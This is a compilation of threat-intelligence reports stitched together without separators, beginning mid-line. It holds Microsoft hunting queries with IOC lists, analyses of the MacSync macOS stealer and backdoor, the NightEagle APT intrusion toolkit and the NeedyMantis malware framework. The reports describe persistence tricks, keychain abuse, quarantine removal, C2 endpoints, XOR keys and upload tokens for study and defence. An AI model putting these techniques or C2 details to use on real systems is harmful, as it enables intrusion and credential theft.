, ProcessId = long(null), AccountName = "", AccountDomain = "", AccountSid = ""
)
Microsoft Sentinel
Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with βTI mapβ) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.
Detect network IP and domain indicators of compromise using ASIM
The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.
let lookback = 30d;
let ioc_ip_addr = dynamic(["103.245.231.248", "2.57.241.246", "89.125.209.168", "103.245.231.79", "45.84.59.66", "103.160.59.97"]);
let ioc_domains = dynamic(["etia.ca", "groy.cc", "gliderrompercycl.com", "muvb.net", "divekickspolic.org", "matjk.click", "bpdaersa.click", "stuseamandesilt.org", "Itechx.tel", "guach.net", "ruten.observer", "byveo.org", "secure-dns-hub.com", "qumel.link", "cyrna.top", "drasw.club"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), EventCount=count()
by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor
Detect Web Sessions IP and file hash indicators of compromise using ASIM
The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.
let lookback = 30d;
let ioc_ip_addr = dynamic(["103.245.231.248", "2.57.241.246", "89.125.209.168", "103.245.231.79", "45.84.59.66", "103.160.59.97"]);
let ioc_domains = dynamic(["etia.ca", "groy.cc", "gliderrompercycl.com", "muvb.net", "divekickspolic.org", "matjk.click", "bpdaersa.click", "stuseamandesilt.org", "Itechx.tel", "guach.net", "ruten.observer", "byveo.org", "secure-dns-hub.com", "qumel.link", "cyrna.top", "drasw.club"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
or DstDomain has_any (ioc_domains)
or Url has_any (ioc_domains)
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), EventCount=count()
by SrcIpAddr, DstIpAddr, DstDomain, Url, Dvc, EventProduct, EventVendor
Virtual Disk Image file with file name Documents.vhdx; observed in January campaign against Ukraine; contained in 9707a8694e954e9ee13e839d6e5905ce626c0837c7c90da6d1025bfbe152866b
Password protected email attachment with file name Payment Advice Note.zip; used in August campaign in which the actor introduces a new TTP of sending unique ZIP files to each target; Password: BirdMouseCrab
etia[.]ca
Domain
Host for RedFlick MSI installer in January 2026 campaign
103.245.231[.]248
IPv4
Host for CosmicPulse downloader DLL in January 2026 campaign
groy[.]cc
Domain
Host for RedFlick MSI installer in February 2026 campaign
2.57.241[.]246
IPv4
Host for CosmicPulse downloader DLL in February 2026 campaign
gliderrompercycl[.]com
Domain
Host for CosmicPulse backdoor download
muvb[.]net
Domain
Host for RedFlick MSI installer in February 2026 campaign
89.125.209[.]168
IPv4
Host for CosmicPulse downloader DLL in February 2026 campaign
divekickspolic[.]org
Domain
Host for CosmicPulse backdoor download
matjk[.]click
Domain
Host for RedFlick MSI installer in March 2026 campaign
bpdaersa[.]click
Domain
Host for RedFlick MSI installer in March 2026 campaign
103.245.231[.]79
IPv4
Host for CosmicPulse downloader DLL in March 2026 campaign
stuseamandesilt[.]org
Domain
Host for CosmicPulse backdoor download
Itechx[.]tel
Domain
Host for RedFlick MSI installer in April 2026 campaign
45.84.59[.]66
IPv4
Host for CosmicPulse downloader DLL in April 2026 campaign
guach[.]net
Domain
Host for RedFlick PowerShell code installer in June 2026 campaign
ruten[.]observer
Domain
Host for CosmicPulse downloader DLL in June-July 2026 campaigns
byveo[.]org
Domain
Host for RedFlick PowerShell code installer in July 2026 campaign
secure-dns-hub[.]com
Domain
Host for CosmicPulse downloader DLL in July 2026-current campaigns
103.160.59[.]97
IPv4
Host for CosmicPulse downloader DLL in July 2026 campaign
qumel[.]link
Domain
Host for CosmicPulse downloader DLL in July 2026 campaign
cyrna[.]top
Domain
Host for RedFlick MSI installer in August 2026 campaign
drasw[.]club
Domain
Host for CosmicPulse downloader DLL in August 2026 campaign
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.
Key points:
The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
The main malicious payload now consists of modules written in Objective-C and Swift.
At one stage of infection, the attackers use iCloud to deliver the next
Kaspersky solutions detect the threats described below under the following verdicts:
HEUR:Trojan.OSX.MacSync.*
HEUR:Trojan-PSW.OSX.MacSync.*
HEUR:Trojan-Dropper.OSX.MacSync.*
HEUR:Trojan-Downloader.OSX.MacSync.*
Technical details
Infection chain
MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:
The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victimβs device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. Weβll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:
Itβs worth noting right away that MacSync shows shared traits at almost every stage:
All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.
Loader, Calendar, and Two Simple Droppers
In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. Itβs worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.
The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:
After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.
We donβt know the contents of the scripts distributed from the attackerβs server, but they are very likely the same script found in the calendar event description.
The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:
The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.
Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether itβs running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:
As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:
Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:
The main function in the script is named daemon_function.
The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.
The script performs the following tasks:
Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
Gaining persistence on the system
Uploading data received from the infostealer module to the command-and-control server
One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:
The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
Here, build_pub_b64 is the serverβs public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victimβs device.
Then decrypt command from pkgunpack utility decrypts the key:
A shared secret is computed from the serverβs known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
The first 5 bytes: additional authenticated data (AAD)
The next 12 bytes: the initialization vector (IV)
The rest: the ciphertext
The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
Decoded dek_wrap_b64
The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.
Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.
As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackersβ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesnβt exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:
A LaunchAgent named com.apple.finder.agent
Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks
The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.
One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.
Infostealer
The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.
Fake stealer pop-up windows
Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.
Password verification with PAM
Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.
String decryption
The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:
Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
Crypto wallet application data
Telegram data
Device login and password
Keychain file
System information: list of installed applications and running processes, device model, hardware, UUID, and so on
Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
ZSH and Bash command history
Current user profile picture
The collected data is saved to a hidden directory in /tmp/.
The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious applicationβs resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the applicationβs resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:
teamid: the application is signed with a certificate that has a specific teamID (in this case, the target applicationβs developer)
apple: the application is an Apple service
apple-tool: the application is an Apple command-line utility
The stealer then uses the Security.framework API to try and retrieve the secretβs contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they havenβt managed to do so, which is why the feature is disabled. In the stealerβs encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:
Code section responsible for changing access to keychain services
Backdoor
The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoorβs body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.
As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executableβs overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:
AGNT1: a magic constant confirming that the configuration was decrypted correctly
C2 server URL
Access token: the same one used in the parent script
BLD-150: the backdoor build number
The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The serverβs response should be a JSON file.
Method
URL path
Request parameters
Description
GET
/v1/agent/ping
tag: the victimβs unique ID combined with the backdoor build number
build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST
/v1/agent/refresh
tag
build
old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST
/v1/asset/<upload_id>/init
upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victimβs device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT
/v1/asset/<upload_id>
The request that actually uploads the file to the server.
POST
/v1/agent/<command_status>
command_status: a status unique to the commands the agent executes
tag
upload_id: the ID of the file uploaded to the server (if any)
phase: information about the command being executed or its stage
message: a message
active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoorβs operation. Information about command execution status serves as a telemetry source for the attackers.
Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the serverβs response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:
deploy_ext: deploy an extension downloaded from the server into the victimβs browser.
deploy_ledger: replace the installed Ledger wallet with the version from the server.
regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if itβs not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victimβs browser.
The section of the regrab command where the archiveβs integrity is verified and its hash is calculated before it is sent
Takeaways
The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealerβs and backdoorβs main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. Itβs also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Appleβs infrastructure as one of the intermediate stages for delivering the malicious payload.
The nature of the data attackers seek to collect from a victimβs device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSyncβs compromise of software developersβ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.
Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.
Initial access
In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.
GhostContainer on Microsoft Exchange
Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.
We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.
The backdoor is a .NET assembly containing three classes that implement its core functionality:
Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.
Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.
GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis
Traffic redirection
Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.
The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:
One of the repositories used for storing network tools
The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:
adobe_32.exe;
AdobeSync.exe;
trueconf.exe;
1cbroker.exe;
1c-office-plugin.exe;
trueconf-broker.exe.
Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.
Microsoft dev tunnels
This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
Execution graph of adobe_32.exe in Kaspersky Research Sandbox
rdp2tcp
This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attackerβs side.
When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.
When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.
Creation event for a channel named rdp2tcp (server component startup)
The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.
The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:
To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.
In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.
Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit
The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.
Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victimβs entire Active Directory infrastructure.
Takeaways
To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the groupβs efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagleβs presence on the network.
Detection by Kaspersky solutions
Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kasperskyβs collection.
The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:
Backdoor analysis with KTAE
However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.
This malicious activity is detected by the following rules, available in the repository:
Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events
Microsoft Threat Intelligence has identified NeedyMantis, a modular post-compromise malware family observed in a limited number of targeted operations affecting telecommunications organizations, universities, medical nonprofits, intergovernmental organizations, and government contractors. Based on observed activity, NeedyMantis is typically deployed after a threat actor has already established access to a target environment, indicating that the malware is used to maintain long-term access and support follow-on operations.
NeedyMantis activity dates back to at least October 2025. We discovered the malware family while analyzing and pivoting from research and indicators of compromise associated with the DAEMON Tools supply chain compromise, which Kaspersky previously reported on as part of its investigation into the campaign. Observed activity involving NeedyMantis has thus far aligned with activity that Microsoft associates with threat actors operating from China, although Microsoft has not determined whether all observed activity is attributable to the same operator.
While NeedyMantis employs techniques commonly used by modern malware, its architecture combines multiple loaders, custom encrypted file archives, a custom executable file format, and modular components that enable operators to evade analysis and extend functionality through additional modules. These characteristics, combined with its use in targeted intrusions, make NeedyMantis a useful case study for understanding how threat actors establish and maintain long-term access within victim environments.
In this blog, we analyze the NeedyMantis malware framework. We examine its packaging and deployment, custom archive format, loader architecture, command-and-control (C2) communications, and modular design. We also provide indicators of compromise (IOCs), Microsoft Defender detections, and mitigation guidance to help organizations defend against this threat and related activity.
Observed operators and targeting
At the time of writing, Microsoft has observed at least one threat actor using NeedyMantis malware: Storm-3069. Storm-3069 is Microsoft Threat Intelligenceβs designator for activity associated with the DAEMON Tools supply chain compromise. While Microsoft assesses the activity originates from China, it has not attributed Storm-3069 to a Chinese nation-state actor. Microsoft identified NeedyMantis through follow-on analysis of indicators associated with Kasperskyβs investigation of the DAEMON Tools compromise.
Microsoft has observed additional NeedyMantis activity beyond Storm-3069βs activity in the DAEMON Tools campaign, indicating that the malware might be used by more than one operator. Observed activity involving NeedyMantis has thus far aligned with activity Microsoft associates with threat actors operating from China, such as targeting that aligns with Chinese interests and the use of selective deployment.
NeedyMantis has been observed in intrusions affecting telecommunications organizations, universities, intergovernmental organizations, medical nonprofits, and government contractors. Combined with the malwareβs limited observed deployment and alignment with activity Microsoft associates with China-based threat actors, this victimology suggests NeedyMantis is deployed selectively rather than broadly. However, Microsoft has not determined whether all observed activity is attributable to the same threat actor or whether multiple actors have access to the malware.
Malware packaging and distribution
As previously mentioned, observed activity suggests that the malware is typically deployed after a threat actor has established access to a target environment. As a result, the methods used to gain access before NeedyMantis is deployed may vary across intrusions.
NeedyMantis is composed of multiple components written in C++ and x64 shellcode. The malware starts with a first-stage loader and a file archive. The loader and archive have been found packaged alongside legitimate software, with the first-stage loaderβmasquerading as a required DLLβbeing loaded through DLL sideloading.
Some of the open-source, software abused by the malware include: Poedit (translation), curl (data transfer), Vim (text editor), and TightVNC (remote access). Microsoft has also observed NeedyMantis masquerading as Microsoft Office, Broadcom, Intel, and NVIDIA DLL components. The following is a list of some of the DLL path names used by the malware:
%ProgramFiles%\Poedit\WinSparkle.dll
%ProgramData%\USOShared\libcurl.dll
%ProgramData%\VIM\vim64.dll
%ProgramData%\TightVNC\VIM\vim64.dll
%ProgramData%\office\dbghelp.dll
%ProgramData%\broadcom\dbghelp.dll
%ProgramData%\Intel\jli.dll
%ProgramFiles%\modifiable\nvml.dll
%ProgramData%\ics\nvml.dll
The malwareβs file archive is named the same as the loader DLL without the extension, for example WinSparkle or libcurl.
In one observed incident, an operator used the Impacket toolkit during hands-on-keyboard activity to copy the legitimate software, malicious DLL, and file archive from a network share and execute it on a targeted device. This activity occurred after the actor had already obtained access to the environment and illustrates one method by which NeedyMantis can be introduced during an intrusion post-compromise.
NeedyMantis is observed during the post-compromise stage of an intrusion after an actor has established access to the target environment. While one known user of the malware, Storm-3069, has been associated with supply chain compromises, Microsoft has not observed NeedyMantis itself being distributed through a supply chain compromise. However, supply chain activity remains one possible means by which an actor could gain the access necessary to deploy the malware.
NeedyMantis architecture and capabilities
First-stage loader
NeedyMantisβ first-stage loader is DLL sideloaded and launched when the legitimate software it is packaged with is run. Its only task is to extract the second-stage loader from its file archive and continue execution there.
In the analyzed sample, the loader DLL was named WinSparkle.dll (SHA-256: e842dd7642c8e04b5ec20b6393848a9c904e4832930950c16664fe7800ba382e) and its file archive was named WinSparkle (SHA-256: 9cb68f986043a576e19d32184c583b7d8f571c7219d8dc0065dced1c13f077ef). NeedyMantis spoofed and replaced the WinSparkle software update component of the Poedit translation software.
The loader employs common anti-analysis techniques to hinder analysis, like obfuscating most of its important strings.
Figure 1. Example obfuscated strings being deobfuscated
This technique is known as obfuscated stack strings because each piece of the string is built up one at a time on the functionβs stack. Once built up, it is deobfuscated using various mathematical operations. Most of the obfuscated strings in this loader are Windows DLL and API names. These deobfuscated strings are used to resolve Windows APIs dynamically at runtime.
In addition to obfuscated strings, a lot of the codeβs constant values are stored obfuscated as well.
Figure 2. Example obfuscated constant value β1032β being deobfuscated
Finally, the loader has two anti-debugger methods: one based on ProcessDebugFlags and the other using ThreadHideFromDebugger.
As noted above, the loaderβs main objective is to extract the next stage from its file archive and launch it. In the analyzed sample, the next stage was named encryptbase64.ps1.
Custom file archives
NeedyMantisβ file archives are in an encrypted and compressed custom file format. To get access to the files, the outer layer of the archive is XOR-decoded and RtlDecompressBuffer decompressed. Once decompressed, there are individual file entries. In each file entry, the fileβs name is XOR-decoded and its contents are RtlDecompressBuffer decompressed.
The file formatβs offsets, XOR keys, and values change from sample to sample.
Figure 3. Example output of an archive unpacking tool displaying metadata of the WinSparkle file archive
dnsapi.dll β Not a dnsapi.dll, but contains the malwareβs configuration
ws2_32.dll β Not a ws2_32.dll, but contains a WebSockets based communications DLL
msvcrt140.dll β Not a msvcrt140.dll, but contains shellcode to load module DLLs and resolve exports
While this archive contains several legitimate software components, the malwareβs functionality is implemented by the remaining files, discussed below.
Other analyzed NeedyMantis file archives have contained different file names and components. An older version of the malware, for example, used a libcurl (SHA-256: c82520eb03c084226be4eafbff46f56dca0aa8804a2a7f23a085a96afe71ef77) file archive, and it contained only four files:
300.c β Malwareβs configuration
300.s β WebSockets-based communications DLL
is β Persistence module using Windows Services
m.l β Main component
Second-stage loader
In the analyzed sample, encryptbase64.ps1 was the second-stage loader. Despite its .ps1 PowerShell extension, the file contains x64 shellcode. Its purpose is to decode and decompress an embedded binary which is NeedyMantisβ main component.
This loader also has some anti-analysis functionality that differs from stage one. For string decoding, it locates two encoded blocks of data and XOR keys at calculated offsets and then decodes them. The first block, most relevantly, contains a few Windows DLL and API names that are resolved dynamically. The second block, shown below, contains a list of Windows DLL names and Windows API hash values:
Figure 4. Decoded Windows API hash values
The component uses a rotate right (ROR) based algorithm with a configurable rotation value (the analyzed sample used value 11) to resolve these Windows API hashes. Figure 5 shows a snippet of Python code reproducing the algorithm:
Figure 5. Python snippet of Windows API hashing algorithm
This second-stage loaderβs objective is to extract embedded data, XOR-decode it, and then RtlDecompressBuffer decompress it. The location of the encoded data and XOR key are at calculated offsets, which change from sample to sample.
Once decoded the resulting data is a DLL that has been formatted using a custom executable file format. It is a minimized version of a PE file.
Figure 6. Example output of custom executable file format to PE file conversion tool
Main component
NeedyMantisβ main component orchestrates C2 communications and handles additional downloaded modules.
It creates a mutex named <username>-<process name>, such as Contoso-Poedit.exe. Like in the first-stage loader, most of the main componentβs strings and constant values are stored as obfuscated stack strings.
Configuration
The malwareβs configuration was stored in a dnsapi.dll file from the custom file archive. This file name spoofs a Windows networking library. In the sample analyzed, the file contains a 3448-byte binary structure. The structure includes the following fields:
0x00: Unknown (config contained β300β, but components also reference β400β)
